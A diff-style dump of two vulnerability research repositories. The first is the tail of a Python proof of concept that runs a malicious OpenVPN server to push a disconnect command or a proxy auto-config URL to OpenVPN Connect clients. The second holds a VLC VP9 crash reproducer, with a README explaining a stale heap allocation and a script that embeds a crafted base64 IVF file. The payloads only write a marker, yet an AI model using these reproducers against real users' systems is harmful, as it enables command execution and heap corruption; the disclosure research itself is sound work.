require_file(CERT_DIR / name)
RUNTIME_DIR.mkdir(exist_ok=True)
command = build_payload_command(marker) if finding == FINDING_ECHO_SCRIPT else ""
server_config = RUNTIME_DIR / "server.ovpn"
client_config = RUNTIME_DIR / f"client_{finding.replace('-', '_')}_poc.ovpn"
server_config.write_text(build_server_config(port, finding, command, pac_url), encoding="ascii")
client_config.write_text(build_client_config(port), encoding="ascii")
detail = command if finding == FINDING_ECHO_SCRIPT else pac_url
return server_config, client_config, detail
def run(args: list[str], check: bool = False) -> subprocess.CompletedProcess[str]:
completed = subprocess.run(
args,
text=True,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
check=False,
)
if check and completed.returncode != 0:
raise RuntimeError(
f"Command failed with exit {completed.returncode}: {' '.join(args)}\n{completed.stdout}"
)
return completed
def start_server(openvpn_exe: str, server_config: Path) -> subprocess.Popen[bytes]:
stdout = open(RUNTIME_DIR / "server.stdout.txt", "wb")
stderr = open(RUNTIME_DIR / "server.stderr.txt", "wb")
proc = subprocess.Popen(
[openvpn_exe, "--config", str(server_config)],
cwd=str(RUNTIME_DIR),
stdout=stdout,
stderr=stderr,
)
time.sleep(2)
if proc.poll() is not None:
raise RuntimeError(
"OpenVPN server exited early. Check runtime/server.log and "
"runtime/server.stderr.txt for details."
)
return proc
def stop_process(proc: subprocess.Popen[bytes] | None) -> None:
if not proc or proc.poll() is not None:
return
if os.name == "nt":
proc.terminate()
else:
proc.send_signal(signal.SIGTERM)
try:
proc.wait(timeout=5)
except subprocess.TimeoutExpired:
proc.kill()
def connect_cli(connect_exe: Path, *args: str) -> subprocess.CompletedProcess[str]:
return run([str(connect_exe), *args])
def list_profiles(connect_exe: Path) -> list[dict]:
output = connect_cli(connect_exe, "--list-profiles").stdout.strip()
if not output:
return []
try:
data = json.loads(output)
return data if isinstance(data, list) else []
except json.JSONDecodeError:
return []
def import_profile(connect_exe: Path, client_config: Path, profile_name: str) -> str:
before = {item.get("id") for item in list_profiles(connect_exe)}
completed = connect_cli(
connect_exe,
f"--import-profile={client_config}",
f"--name={profile_name}",
)
text = completed.stdout.strip()
if text:
try:
parsed = json.loads(text)
profile_id = parsed.get("message", {}).get("id")
if profile_id:
return str(profile_id)
except json.JSONDecodeError:
pass
time.sleep(2)
for item in list_profiles(connect_exe):
if item.get("id") not in before and item.get("name") == profile_name:
return str(item["id"])
raise RuntimeError(f"Could not determine imported profile id. Import output:\n{text}")
def proxy_state() -> dict[str, object | None]:
if os.name != "nt":
return {}
import winreg
path = r"Software\Microsoft\Windows\CurrentVersion\Internet Settings"
names = ["AutoConfigURL", "ProxyEnable", "ProxyServer", "ProxyOverride"]
state: dict[str, object | None] = {}
with winreg.OpenKey(winreg.HKEY_CURRENT_USER, path) as key:
for name in names:
try:
state[name] = winreg.QueryValueEx(key, name)[0]
except FileNotFoundError:
state[name] = None
return state
def auto_mode(
openvpn_exe: str,
connect_exe: Path,
server_config: Path,
client_config: Path,
marker: Path,
finding: str,
) -> None:
if finding == FINDING_ECHO_SCRIPT and marker.exists():
marker.unlink()
server = None
profile_id = None
profile_name = f"{PROFILE_NAME_PREFIX}-{finding}-{int(time.time())}"
before_proxy = proxy_state() if finding == FINDING_PROXY_AUTO_CONFIG else {}
try:
connect_cli(connect_exe, "--quit")
time.sleep(2)
server = start_server(openvpn_exe, server_config)
profile_id = import_profile(connect_exe, client_config, profile_name)
connect_cli(connect_exe, f"--connect-shortcut={profile_id}", "--minimize")
print(f"[+] Imported profile id: {profile_id}")
print("[+] Waiting for connect and server-pushed option handling...")
time.sleep(16)
if finding == FINDING_PROXY_AUTO_CONFIG:
print("[+] Proxy state before connect:")
print(json.dumps(before_proxy, indent=2))
print("[+] Proxy state during connection:")
print(json.dumps(proxy_state(), indent=2))
connect_cli(connect_exe, "--disconnect-shortcut")
time.sleep(4)
if finding == FINDING_ECHO_SCRIPT and marker.is_file():
print(f"[+] Marker created: {marker}")
print(marker.read_text(encoding="utf-8", errors="replace").strip())
elif finding == FINDING_ECHO_SCRIPT:
print(f"[-] Marker was not created: {marker}")
print(" Check OpenVPN Connect logs and runtime/server.log.")
else:
print("[+] Proxy state after disconnect:")
print(json.dumps(proxy_state(), indent=2))
finally:
if profile_id:
connect_cli(connect_exe, f"--remove-profile={profile_id}")
connect_cli(connect_exe, "--quit")
stop_process(server)
def server_mode(openvpn_exe: str, server_config: Path, client_config: Path, marker: Path, finding: str, pac_url: str) -> None:
print(f"[+] Client profile: {client_config}")
if finding == FINDING_ECHO_SCRIPT:
print(f"[+] Marker path after disconnect: {marker}")
else:
print(f"[+] Pushed PAC URL: {pac_url}")
print("[+] Starting local malicious OpenVPN server. Press Ctrl+C to stop.")
server = start_server(openvpn_exe, server_config)
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n[+] Stopping server...")
finally:
stop_process(server)
def main() -> int:
parser = argparse.ArgumentParser(
description="Benign OpenVPN Connect server-pushed option PoC without PowerShell."
)
parser.add_argument("--mode", choices=["build", "server", "auto"], default="build")
parser.add_argument("--finding", choices=[FINDING_ECHO_SCRIPT, FINDING_PROXY_AUTO_CONFIG], default=FINDING_ECHO_SCRIPT)
parser.add_argument("--port", type=int, default=DEFAULT_PORT)
parser.add_argument("--marker", type=Path, default=default_marker_path())
parser.add_argument("--pac-url", default=DEFAULT_PAC_URL)
parser.add_argument("--openvpn", default=default_openvpn_exe(), help="Path to OpenVPN 2.x openvpn executable")
parser.add_argument("--connect", type=Path, default=default_connect_exe(), help="Path to OpenVPNConnect.exe")
args = parser.parse_args()
server_config, client_config, detail = build_configs(args.port, args.marker, args.finding, args.pac_url)
print(f"[+] Wrote {server_config}")
print(f"[+] Wrote {client_config}")
if args.finding == FINDING_ECHO_SCRIPT:
print(f"[+] Pushed disconnect command: {detail}")
else:
print(f"[+] Pushed PAC URL: {detail}")
if args.mode == "build":
print("[+] Build-only mode complete.")
return 0
if not args.openvpn:
print("[-] Could not find OpenVPN 2.x. Pass --openvpn or set OPENVPN_EXE.", file=sys.stderr)
return 2
if args.mode == "server":
server_mode(args.openvpn, server_config, client_config, args.marker, args.finding, args.pac_url)
return 0
if not args.connect or not args.connect.is_file():
print("[-] Could not find OpenVPN Connect. Pass --connect or set OPENVPN_CONNECT_EXE.", file=sys.stderr)
return 2
auto_mode(args.openvpn, args.connect, server_config, client_config, args.marker, args.finding)
return 0
if __name__ == "__main__":
raise SystemExit(main())

View File

@@ -0,0 +1,4 @@
*.ivf
__pycache__/
.pytest_cache/
*.pyc

View File

@@ -0,0 +1,101 @@
# VLC VP9 Resolution-Change Crash PoC
This repository contains a small Python reproducer for a VLC 3.0.23 Windows VP9 decoder crash condition.
Research status: incomplete and continuing.
## Summary
The PoC writes a 405-byte VP9 IVF file with two frames:
- frame 1: `64x64`
- frame 2: `64x8192`
The important detail is that the second frame changes the frame height while keeping the VP9 tile-column layout stable. In VLC 3.0.23's bundled FFmpeg VP9 decoder, that shape reaches a stale slice-thread progress allocation.
## Why It Happens
The VP9 decoder tracks slice-thread progress in an `entries` array. That array is allocated using the number of superblock rows for the current frame.
For a `64x64` frame:
```text
sb_rows = (64 + 63) >> 6 = 1
entries allocation = 1 * sizeof(atomic_int) = 4 bytes
```
For a later `64x8192` frame:
```text
sb_rows = (8192 + 63) >> 6 = 128
```
The stale allocation remains sized for the first frame when the tile-column count does not change. During decode, the VP9 slice-thread reset loop writes zero to each row entry for the new frame:
```c
for (i = 0; i < s->sb_rows; i++)
atomic_store(&s->entries[i], 0);
```
That turns the second frame into a sequence of 4-byte zero writes past the original 4-byte allocation. On Windows VLC 3.0.23, the process behavior depends on heap layout and runtime state; observed outcomes include heap-corruption termination and access violation.
## Files
- `poc.py`: stdlib-only Python reproducer
- generated output: `vp9_reschange_64x64_to_64x8192_tc0.ivf`
No external Python dependencies are required.
## Usage
Generate the IVF sample:
```bash
python poc.py
```
Generate the sample at a custom path:
```bash
python poc.py -o sample.ivf
```
Optionally replay it with a local VLC binary:
```bash
python poc.py --vlc "C:\Path\To\VLC\vlc.exe"
```
The script prints JSON containing the generated sample path, SHA256 hash, size, and optional VLC process result.
Expected sample hash:
```text
F26BDEFBDFD0B44359E314E0BFDE7AEA979D29F80F598749DCCA68AB34F54649
```
## Tested Target
Tested against:
- VLC media player 3.0.23 for Windows x64
- decoder module: `plugins/codec/libavcodec_plugin.dll`
- VP9 decoder source lineage: FFmpeg 4.4.x VP9 decoder
The relevant decoder behavior is the stale `entries` allocation on a resolution change that does not change tile-column count.
## Research Notes
Local instrumentation observed the stale reset loop in `libavcodec_plugin.dll` at RVA `0x698a5c`, executing the fixed zero-write pattern against the stale `entries` allocation.
For the `64x64 -> 64x8192` sample, direct-store tracing observed:
- `129` total `entries` stores
- `127` stores past the requested 4-byte allocation
- `114` stores past the allocator raw usable block
This repository is a compact crash reproducer. Research on the full exploitability of this primitive is incomplete and continuing.
## Responsible Use
Run this only in a local test environment you control. The generated media file is intended for reproducing and studying the decoder fault path.

View File

@@ -0,0 +1,126 @@
#!/usr/bin/env python3
import argparse
import base64
import hashlib
import json
import subprocess
import sys
import time
from pathlib import Path
SAMPLE_B64 = (
"REtJRgAAIABWUDkwQABAAAEAAAABAAAAAgAAAAAAAABeAAAAAAAAAAAAAACCSYNCAAPwA/YGOCQcGEoAACBAAGtD///lXb23/SskhXr7zdPyoCRyEjNuPymkNJQgETBR424BCv//rXCHLKdpldqOXFZdaWk1nVibjsmAd3pGejzlO0+dlygBOCSA/wAAAAEAAAAAAAAAgkmDQgAD8f/2BjgkHBhKAADQR9j9Ye4xQAev+/8OAGxOd+f8niRqQFa1U/7kzgammYg1AcYQFrhfX6tE38imv1MXtaAO/yiEiKaaDpaMxLBBYGTZ80JtDb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GUoA"
)
EXPECTED_SHA256 = "F26BDEFBDFD0B44359E314E0BFDE7AEA979D29F80F598749DCCA68AB34F54649"
CRASH_CODES = {
0xC0000005: "access_violation",
0xC0000374: "heap_corruption",
0xC0000409: "stack_buffer_overrun",
}
def code32(value):
if value is None:
return None
return value & 0xFFFFFFFF
def classify_returncode(value):
code = code32(value)
if code is None:
return "timeout"
if code == 0:
return "clean"
if code in CRASH_CODES:
return f"crash:{CRASH_CODES[code]}"
return "nonzero"
def write_sample(path):
data = base64.b64decode(SAMPLE_B64)
digest = hashlib.sha256(data).hexdigest().upper()
if digest != EXPECTED_SHA256:
raise RuntimeError(f"embedded sample hash mismatch: {digest}")
path.parent.mkdir(parents=True, exist_ok=True)
path.write_bytes(data)
return data
def run_vlc(vlc, sample, timeout):
cmd = [
str(vlc),
"-I",
"dummy",
"--dummy-quiet",
"--ignore-config",
"--no-media-library",
"--play-and-exit",
"--run-time",
"2",
"--no-one-instance",
"--no-qt-privacy-ask",
"--no-qt-error-dialogs",
"--no-crashdump",
"--no-audio",
"--vout",
"dummy",
str(sample),
"vlc://quit",
]
started = time.time()
try:
proc = subprocess.run(
cmd,
cwd=str(vlc.parent),
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=timeout,
)
returncode = proc.returncode
stdout = proc.stdout.decode("utf-8", "replace")
stderr = proc.stderr.decode("utf-8", "replace")
except subprocess.TimeoutExpired as exc:
returncode = None
stdout = (exc.stdout or b"").decode("utf-8", "replace")
stderr = (exc.stderr or b"").decode("utf-8", "replace")
return {
"status": classify_returncode(returncode),
"returncode": returncode,
"returncode_hex": f"0x{code32(returncode):08x}" if returncode is not None else None,
"elapsed": round(time.time() - started, 3),
"stdout_tail": stdout[-2000:],
"stderr_tail": stderr[-2000:],
}
def main():
parser = argparse.ArgumentParser()
parser.add_argument(
"-o",
"--output",
type=Path,
default=Path("vp9_reschange_64x64_to_64x8192_tc0.ivf"),
)
parser.add_argument("--vlc", type=Path, help="optional path to vlc.exe for local replay")
parser.add_argument("--timeout", type=float, default=8)
args = parser.parse_args()
data = write_sample(args.output)
result = {
"sample": str(args.output.resolve()),
"sha256": hashlib.sha256(data).hexdigest().upper(),
"size": len(data),
}
if args.vlc:
result["vlc"] = run_vlc(args.vlc.resolve(), args.output.resolve(), args.timeout)
print(json.dumps(result, indent=2))
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
sys.exit(130)